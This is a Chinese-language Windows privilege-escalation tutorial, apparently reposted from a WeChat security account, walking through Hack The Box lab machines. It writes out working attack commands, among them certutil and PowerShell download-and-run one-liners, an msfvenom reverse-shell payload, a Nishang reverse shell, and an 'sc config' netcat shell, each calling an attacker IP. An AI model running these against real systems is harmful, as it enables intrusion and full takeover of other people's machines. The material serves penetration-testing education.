如果您想使用 Windows 权限提升技术来帮助提升您的权限,那么您来对地方了。
我们的详尽指南将向您展示有关 Windows 特权升级的所有信息。本指南将向您展示如何使用手动枚举方法来检测潜在的特权升级路径。我们还将向您展示一些自动化工具来帮助您进行搜索。
接下来,我们将引导您了解不同类型的权限提升,例如内核漏洞、令牌模拟、保存的凭据、计划任务等。
阅读完我们的指南后,您将很好地了解如何利用您的 Windows 权限。
了解权限提升
当用户获得超出其权限所允许的系统资源访问权限时,Windows 操作系统中就会发生权限提升。这需要从较低级别的用户切换到较高级别的用户,例如管理员或“NT AUTHORITY/SYSTEM”帐户。配置错误或系统中的薄弱环节是权限提升的可能原因。
管理员和系统帐户之间的区别在于他们对操作系统和进程的控制程度。
管理员可以更改安全设置、安装软件和硬件、访问计算机上的所有文件以及更改其他用户帐户。
系统帐户是 Windows 内置的具有最高权限的帐户。即使它不对应物理用户,操作系统也会使用此帐户运行系统服务、进程和任务。它对文件系统具有完全访问权限,并可以执行系统级更改。
检测
现在您了解了 Windows 环境中的不同用户级别,让我们看看如何枚举操作系统以帮助检测权限提升向量。
手动的
以下命令可以从命令提示符或 PowerShell 运行。
系统枚举
枚举操作系统(包括其版本和补丁级别)可以帮助您查找 Windows 机器是否存在任何潜在的内核漏洞。
systeminfo
命令 systeminfo 可让您查看正在处理的 Windows 操作系统。包括操作系统名称、版本、构建类型、处理器、BIOS 版本等。
wmic qfe
wmic qfe 为您概述 Windows 中已安装的更新,让您查看系统的补丁历史记录,并使您能够识别任何可能被用于提升权限的缺失补丁或更新。
用户枚举
进行用户枚举可以让你很好地了解当前用户、你拥有哪些权限以及你属于哪些组。这有助于找到允许你滥用权限或利用错误配置的权限提升路径。
whoami
whoami 命令会告知您当前以哪个用户身份运行。您还可以将其与其他开关(例如 /priv 和/groups)一起使用,以收集有关授予用户的权限以及您是哪些安全组成员的更多信息。
net user
net user 命令将打印出系统上的用户。
您还可以使用 net user 用户名来全面了解特定用户。这将向您显示用户名、密码信息和组成员身份,以及帐户的各种设置和属性。
net localgroup
net localgroup 命令将显示系统上所有可用的组。这对于了解系统上可用的不同访问级别很有用。
您还可以将此命令与组名一起使用,以获取该组的信息概述以及哪些用户属于该组。
您可以通过更多方式手动枚举 Windows,我们不会深入讨论,但它们包括网络枚举、 AV 枚举以及服务和进程枚举。
请参阅我们的“Windows 命令行备忘单:您需要的所有内容都在一个地方” 文章,深入了解 Windows 命令行。
自动化工具
在寻找权限提升路径时,自动化工具可以提供很大帮助,因为它们可以快速有效地扫描已知漏洞、错误配置和薄弱的安全实践。
1.WinPEAS工具
WinPEAS,也称为“Windows 权限提升超棒脚本”,是一种流行、知名且非常出色的开源工具,可帮助您在 Windows 系统中查找权限提升的潜在路径。
它使用颜色编码系统来显示首先要查看哪些区域。WinPEAS 可以识别几种常见的安全配置错误,例如文件夹权限薄弱、注册表权限薄弱、配置错误的服务、计划任务等。
2.PowerUp
PowerUp 是一个 PowerShell 脚本,用于查找目标系统上的常见特权升级。您可以使用 Invoke-AllChecks 参数运行它,该参数将执行所有检查。您还可以使用它进行特定检查,例如使用 Get-UnquotedService 参数,该参数仅查找可能的未加引号的服务路径漏洞。您可能需要绕过目标系统上的执行策略来运行 PowerUp。
3.Seatbelt
Seatbelt是一款 C# 工具,是 GhostPack 工具套件的一部分,它将执行一系列检查,收集系统和用户数据,而不是寻找特权升级向量。它对于识别升级特权的潜在路径非常有用。
4.SharpUp
SharpUp 是 GhostPack 系列中的另一款工具,可作为多个 PowerUp 函数的 C# 端口。它包括大多数检查。它是一种灵活的工具,可让您执行单独的漏洞检查或执行每项检查的完整审计。
5.Windows Exploit Suggester
Windows Exploit Suggester 是一款可以通过检查 Windows 系统的补丁级别来定位特权提升路径的工具。它将系统的补丁级别与 Microsoft 漏洞数据库进行比较,以检测潜在的缺失补丁。通过识别这些缺失的补丁,该工具可以提供可用于特权提升的潜在漏洞列表。
您还可以看到该工具的较新版本,称为“ Windows Exploit Suggester - Next Generation (WES-NG)”。https://github.com/bitsadmin/wesng
内核漏洞
内核漏洞是 Windows 操作系统中发现的漏洞,允许攻击者提升权限。这些漏洞针对的是操作系统内核中的缺陷。
攻击者可以利用这些漏洞获得未经授权的系统级权限。这可能导致完全接管,允许攻击者执行任意代码、修改系统数据、安装软件或执行其他操作。
让我们看看如何利用内核漏洞并从低级用户进入系统。我们将使用“Hack The Box:Devel”机器。
一旦通过 Netcat 建立了反向 shell,就可以运行该systeminfo 命令。
复制输出内容并将其保存到本地计算机上与 Windows Exploit Suggester 相同的文件夹中的文件中。我们将文件保存为 systeminfo.txt。
运行脚本之前,您需要更新 Windows Exploit Suggester 数据库。请参阅自述文件 以了解更多信息。
使用系统信息和数据库文件运行 Windows Exploit Suggester 脚本。
您将看到一个潜在漏洞列表。我们感兴趣的是 MS10-059,也称为 Chimichurri。如果您想了解有关此漏洞的更多信息,请参阅本文。此漏洞将允许您以系统帐户身份生成 shell。
前往此GitHub 页面并将可执行文件下载到你的攻击机器。
始终确保您了解所下载的内容以及脚本或漏洞的作用。使用您不了解的脚本可能会产生严重后果,尤其是在实际环境中使用它们时。
下载完成后,在 Kali 中与下载的漏洞相同的文件夹中启动 Python 服务器。使用以下命令:
python3 -m http.server
返回 Windows 机器,进入临时文件夹,然后使用 certutil 下载漏洞利用程序。
certutil -urlcache -f http://10.10.14.10:8000/MS10-059.exe exploit.exe
临时文件夹是下载脚本、工具和漏洞的好地方,因为它通常具有写入和执行所需的权限。
接下来,在攻击机器上启动 Netcat 监听器。在 Windows 上,使用机器的 IP 和刚刚用于 Netcat 的端口运行漏洞利用程序。
exploit.exe 10.10.14.10 5555
回到我们的机器上,我们将有一个升高的Shell。
如您所见,找到过时或未打补丁的系统可能会导致您通过内核漏洞提升权限。请谨慎对待内核漏洞,因为它们有时会导致目标系统不稳定。研究它们的可靠性,并确保有人可以在需要时重新启动机器。
适用于 Linux 的 Windows 子系统
WSL 代表适用于 Linux 的 Windows 子系统。它是在 Windows 系统上运行 Linux 的兼容层。它允许用户直接在 Windows 上运行 GNU/Linux 环境,而无需虚拟机,包括大多数命令行工具和实用程序。
在某些情况下,如果 WSL 以 root 权限运行,您可以利用它,从而创建提升的 shell。在我们的演示中,我们将使用不同的权限提升方法。
让我们看看如何在“Hack The Box:SecNotes”机器上通过 bash 历史记录使用 WSL 进行权限提升。
在机器上建立 shell 并在 Tyler 的桌面上找到 user.txt 文件后,您会注意到一个 bash.lnk 文件。此文件可能表明此 Windows 操作系统正在运行 WSL。
让我们看看是否可以找出 bash.exe 是否在系统上运行。
您可以使用以下命令尝试找到它:
where /R C:Windows bash.exe
太好了,bash.exe 位于两个不同的文件夹中。
让我们使用以下命令从 System32 文件夹运行它:
C:WindowsSystem32bash.exe
我们必须使用以下命令来摆脱 shell 的限制:
python3 -c 'import pty;pty.spawn("/bin/bash")'
接下来,我们可以进行一些 Linux 枚举。如果你读过我们关于Linux 权限提升的文章,你就会知道,查找信息的一个好地方就是历史记录。
让我们看一下命令历史记录。
我们还找到了 Windows 系统管理员的一些凭据。我们可以使用机器的 IP 运行上述命令,这样我们就可以访问系统文件夹,但我们也可以运行psexec并获取交互式系统 shell,从而获得更多控制权。
通过 WSL 可以实现权限提升,在进行枚举时,首先检查历史记录总是一个好主意;您可能会对发现的内容感到惊讶。
令牌模拟
当较低权限的用户从较高权限的用户或进程窃取令牌并使用它执行他们通常不允许执行的操作(例如访问敏感数据或修改重要的系统设置)时,就会发生令牌模拟特权提升攻击。
可以将 token 想象成一张身份证。每个属于不同用户或服务的身份证都有特定的权限来控制资源访问。
如果您的用户启用了“SeImpersonatePrivilege”,您可以使用土豆攻击来提升权限。
在我们的演示中,我们将使用 Juicy Potato 攻击。JuicyPotato 不适用于 Windows Server 2019 或 Windows 10 build 1809 及更高版本。但是,可以使用其他类似的攻击来利用相同的权限。研究您要针对的特定操作系统和版本。
我们可以使用“Hack The Box: Bounty”机器来了解其工作原理。
一旦建立了 shell,我们就可以开始进行手动枚举。让我们看看whoami 和whoami/priv 命令。
如您所见,我们拥有执行多汁土豆攻击的正确权限。让我们运行systeminfo并查看我们是否有正确的 Windows 版本。
我们已经准备好进行多汁土豆攻击了。让我们将漏洞从Github下载:https://github.com/ohpe/juicy-potato/releases 到 Kali。
确保使用与漏洞利用程序位于同一目录中的 python3 简单服务器来提供该文件:
python3 -m http.server
您也可以使用 Apache 或 SMB 服务器。
现在使用以下命令将其传输到 Windows 机器:
(new-object net.webclient).downloadfile('http://10.10.14.12:8000/jp.exe', 'C:UsersmerlinDesktopjp.exe')
接下来,我们必须创建我们的反向shell。从Nishang存储库下载Invoke-PowerShellTcp.ps1脚本。
将以下内容添加到脚本底部并保存。我们将脚本保存为 shell2.ps1。
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.12 -Port 8888
确保使用攻击机器的 IP 以及与 Netcat 一起使用的任何端口来捕获 shell。
现在创建一个包含此一行代码的 .bat 文件:
powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.12/shell2.ps1')
它将下载 shell2.ps1 脚本并运行。我们将其命名为 bounty.bat。您可以使用您喜欢的文本编辑器执行此操作(Nano、Vi、Gedit、Leafpad 等),或者使用命令touch 创建文件并将一行回显到其中。
接下来,使用前面显示的 (new-object net.webclient).downloadfile 命令从您的服务器将 bounty.bat 文件下载到 Windows 机器。
确保您已在 Kali 中设置了一个服务器来托管该文件。
使用 shell2.ps1 脚本中的信息在 Kali 上启动 Netcat 监听器。
我们最终可以开始利用该漏洞,但请确保使用这三个标志来运行它。
-
-t createprocess 调用:<t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> 尝试两者
-
-p <程序>:要启动的程序
-
-l <端口>:COM 服务器监听端口(任何端口都可以)
以下是要运行的命令:
./jp.exe -t * -p C:UsersmerlinDesktopbounty.bat -l 4444
现在我们是一个系统。
我们可以通过以下命令将 winPEAS 从我们的攻击机下载到 Chatterbox,从而开始进行一些自动枚举:
certutil -urlcache -split -f "http://10.10.14.12:8000/winPEASany.exe" wp.exe
确保你的攻击机上的服务器与 winPEAS 位于同一文件夹中,以便你可以下载该文件。你可以使用:
python3 -m http.server
运行 winPEAS 后,您会注意到它找到了用户 Alfred 的 AutoLogon 凭据。该密码可能也适用于管理员用户。
我们必须使用 PowerShell 自动化实用程序,因为我们无法通过 RDP 或其他方法进行测试。这将允许我们在另一个用户的上下文中运行脚本。
第一步是使用 MSFvenom 创建反向 shell。
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f exe > shell.exe
接下来,我们必须使用 certutil 命令将 shell.exe 下载到 Chatterbox。记得设置服务器来托管该文件。
使用与 MSFvenom 有效负载相同的端口启动 Netcat。接下来,运行以下 PowerShell 命令以管理员身份获取反向 shell。
powershell -c "$password = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force; $creds = New-Object System.Management.Automation.PSCredential('Administrator', $password);Start-Process -FilePath "shell.exe" -Credential $creds"
让我们一步一步地分解这个命令:
-
powershell -c:这将启动 PowerShell 会话并执行以下命令。
-
$password = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force;:此行将 $password 变量设置为密码“Welcome1!”的安全字符串表示形式。ConvertTo-SecureString cmdlet 用于将纯文本密码转换为安全字符串。-AsPlainText 参数指定以纯文本形式提供密码,-Force 参数确保在不提示确认的情况下执行转换。
-
$creds = New-Object System.Management.Automation.PSCredential('Administrator', $password);:此行使用 New-Object cmdlet 创建一个名为 $creds 的新 PSCredential 对象。PSCredential 对象表示一组安全凭据,包括用户名和密码。在本例中,用户名是“Administrator”,密码是存储在 $password 变量中的安全字符串。
-
Start-Process -FilePath "shell.exe" -Credential $creds:此行使用 Start-Process cmdlet 启动一个新进程。它启动一个名为“shell.exe”的可执行文件。-Credential 参数指定运行进程时要使用的凭据,$creds 包含上一步中创建的 PSCredential 对象,其中包括用户名和密码。
总之,这个 PowerShell 命令设置一个安全密码,使用用户名“Administrator”和安全密码创建一组凭据,然后使用这些凭据启动反向 shell。
现在我们已将权限提升至管理员。
如您所见,有时凭证会以纯文本形式保存,如果它们被其他服务或用户重复使用,则可以用于提升权限。
计划任务
Windows 中的计划任务是一种在设定时间自动运行某些脚本或程序的方式。由于 cron 作业在 Linux 环境中工作,计划任务允许用户在特定时间运行备份、更新和病毒扫描等任务;可以是每分钟、每小时,甚至每天。
如果任务的权限配置错误,这可能会导致特权升级。这可能会使低级别用户能够修改任务或文件,从而让他们做任何他们想做的事情。
由于大多数任务都是以管理员(通常是创建任务的人)的权限运行的,因此脚本也将以这些更高的权限运行,从而允许用户提升权限。
让我们使用“Hack the Box: Tally”机器来看一下它是如何工作的。一旦您通过SQL获得反向 shell ,您就成为用户 Sarah。
前往Sarah的桌面;您还会注意到两个有趣的文件。
如果你查看 .xml 文件,你会注意到一些事情。它告诉我们,带有 -ExecutionPolicy Bypass 和 -skipadmincheck 参数的 PowerShell 脚本 SPBestWarmUp.ps1 将在 TALLYAdministrator 用户的权限下运行。它每天每小时运行一次。
由于该文件以管理员权限运行,我们可以使用此脚本来提升权限。但首先,让我们看看我们是否有正确的权限来修改它。
您可以使用以下 PowerShell 命令来检查文件的权限:
Get-Acl SPBestWarmUp.ps1 | Format-List
由于我们是用户 Sarah,我们拥有该文件,现在可以使用它来更改文件的内容并为我们获取反向 shell。
我们需要将Nishang反向shell复制 到我们的攻击机器上,并在脚本底部添加以下行:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.12 -Port 4444
请记住使用您的机器的 IP 和将与 Netcat 一起使用的端口。
在与 Nishang 脚本相同的目录中设置一个 Python 服务器。
python3 -m http.server
启动 Netcat 监听器并使用以下命令用我们的反向 shell 替换 SPBestWarmUp.ps1 文件的内容。
echo "iex(new-object net.webclient).downloadstring('http://10.10.14.12:8000/shell2.ps1')" > SPBestWarmUp.ps1
现在等待计划任务运行。生成 shell 可能需要长达一小时的时间。
有时计划任务的权限配置不正确,从而允许您提升权限。在实际操作中,务必备份 和恢复您修改、替换或删除的任何文件。
服务权限弱
在 Windows 中,服务允许应用程序以特定权限在后台运行。这些服务可以根据配置方式以不同的权限级别运行。这些权限级别可以是低级用户,也可以是系统帐户。
当低级别用户可以修改具有高级别权限的服务时,这称为弱服务权限。
错误配置可能包括
-
不适当的访问控制列表 (ACL) 允许非管理员修改服务。
-
该服务的文件权限较弱。
让我们看看如何使用“Hack The Box:Querier”机器来利用弱服务权限。
一旦您有了 shell,您将成为 mssql_svc 用户。
我们的第一步是从攻击机下载 PowerUp 脚本。你可以使用以下命令在与脚本相同的目录中启动 Python 服务器:python3 -m http.server
进入Powershell,然后进入C:Reports文件夹。使用以下命令下载PowerUp脚本:
Invoke-WebRequest -Uri http://10.10.14.15:8000/PowerUp.ps1 -OutFile C:ReportsPowerUp.ps1
确保将 IP 和端口更改为您的机器的设置。
下载后,使用 Invoke-AllChecks 运行 PowerUp。
我们有多种选择。但在本演示中,我们感兴趣的是 UsoSvc 服务。借助此服务,我们可以使用 PowerUp Invoke-ServiceAbuse 函数,该函数滥用当前用户具有配置权限的功能来添加本地管理员或执行自定义命令。
需要注意的是,要利用该服务,CanRestart 必须为 True。因为重新启动服务是我们执行命令的方式。
我们可以通过更改 binpath 来手动执行此操作以运行命令。我们将运行 Netcat 以管理员身份为我们提供反向 shell。
改回常规命令提示符。我们需要通过设置 binpath 来修改 UsoSvc 服务的配置,以便使用“sc”(服务控制)命令运行我们的 Netcat 反向 shell。
sc config UsoSvc binpath= "C:Reportsnc.exe -e cmd.exe 10.10.14.15 4444"
要检查命令是否有效并查询服务的配置信息,可以使用以下命令:
sc qc UsoSvc
该命令成功了,因为新的 binpath 已设置为我们的命令。现在我们需要停止并重新启动服务,以将我们的 shell 弹出为系统。
确保你已在攻击机器上启动了 Netcat,一旦启动该服务,你将获得提升的 shell。
如您所见,如果服务的权限较弱,您可以利用这一点来提升您的权限。正如我们在计划任务部分中提到的那样,在实际操作中,务必备份 和恢复您修改、替换或删除的任何文件。
其他方法
您可以学习 Windows 中许多其他的权限提升方法,但我们无法全部介绍它们。
这些包括:
-
始终安装 Elevate
-
运行身份
-
启动应用程序
-
可执行文件
-
DLL 劫持
-
未加引号的服务路径
-
注册表权限弱
结论
正如你所见,Windows 权限提升攻击有很多途径。
我们向您展示了如何进行一些手动枚举,我们建议您使用哪些自动化工具以及它们的作用。
通过利用内核漏洞、令牌模拟、计划任务等路径,可以提升权限成为管理员用户甚至系统账户。
当谈到 Windows 权限提升技术时,跟上最新的工具和技术是一个好主意,我们为您的旅程提供了一个很好的起点。
原文始发于微信公众号(Ots安全):如何使用 Windows 权限提升进行黑客攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论